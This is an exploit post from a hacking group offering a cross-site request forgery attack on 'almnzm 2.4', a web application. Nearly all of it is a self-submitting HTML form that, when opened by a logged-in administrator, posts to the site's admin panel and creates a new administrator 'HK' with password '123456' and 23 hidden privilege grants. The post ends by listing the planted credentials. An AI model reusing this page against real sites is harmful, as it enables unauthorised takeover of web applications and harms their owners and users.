almnzm 2.4 – Cross-Site Request Forgery (Add Admin)
# Title: almnzm 2.4 <= CSRF Vulnerability (Add Admin) # Vendor: almnzm.com # Author: HaNniBaL KsA (HK) # Email: hk@r00t-s3c.com # Home: r00t-s3c.com # Published: 2o12-o2-1o # #------------------------------------------------------- # # CSRF Exploit (Add a New Admin) : <center><b><font face="Tahoma" size="5">[ <font color="#FF0000">Priv8</font> ] <span dir="ltr"><font color="#FF0000">Almnzm 2.4</font><font color="#ffffff"> </font></span> CSRF Exploit!! </font><font face="Tahoma" size="2">>></font><font face="Tahoma" size="5"> </font> <font color="#FF0000" face="Tahoma" size="2">Add New Admin :D</font></b></p> <p align="center"><b><font face="Tahoma">By: <font color="#FF0000">HaNniBaL KsA</font> (<font color="#FF0000">HK</font>)</font></b></p><center> <b><font face="Tahoma"><a href="http://www.r00t-s3c.com">www.r00t-s3c.com</a></font></b><br /><br /> <form name="add" action="http://www.target.com/PATH/admincpanel/index.php?action=doadd" method="post"> <table width="90%" cellspacing="1" cellpadding="4"><tr><td ><p align="center"> UserName: <input size=20 type="text" name="name" value="HK" ></td></tr><tr><td ><p align="center"> PassWord: <input size=20 type="password" name="password" value="123456" ></td></tr><tr><td ><p align="center"> E-mail: <input size=20 type="text" name="email" value="i@r00t-s3c.com" ></td></tr><tr><td><center> <table border=0><tr><td><tr><td> <! -- NOTE!: The value id'z for admin privileges can be change in any site :D "down in checkbox'z!" ^ so ? .. maybe this exploit will add a new admin but without administrator permissions "just user xD"!! --> <input type=checkbox type=hidden name=authorities1 value=25 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities2 value=24 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities3 value=34 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities4 value=41 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities5 value=39 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities6 value=12 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities7 value=21 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities8 value=38 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities9 value=9 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities10 value=2 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities11 value=3 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities12 value=4 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities13 value=5 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities14 value=6 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities15 value=11 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities16 value=44 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities17 value=50 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities18 value=18 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities19 value=30 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities20 value=14 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities21 value=37 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities22 value=35 checked></td></tr><tr><td> <input type=checkbox type=hidden name=authorities23 value=43 checked></td></tr></table></td></tr> <input type="hidden" name="formtype" value="add"> <input type="hidden" name="componentid" value="39"></center> <! -- Greet'z to: r00t-s3c.com & alm3refh.com --> <tr><td><p align="center"> <input size=50 type="submit" name="submit" value="Add New Admin :D" ></td></tr></table></center></form> <script>document.add.submit();</script> # # The New Admin Login Info : # UserName: HK # PassWord: 123456 # #------------------------------------------- # Greet'z to : # Dr.S!lv3r - MR.DH - AL-K!NG - Dr.KroOoZ - 0r4ng-M4n - r3xb0t3r .. So on ! xD # S.Greet'z to : r00t-s3c.com & alm3refh.com |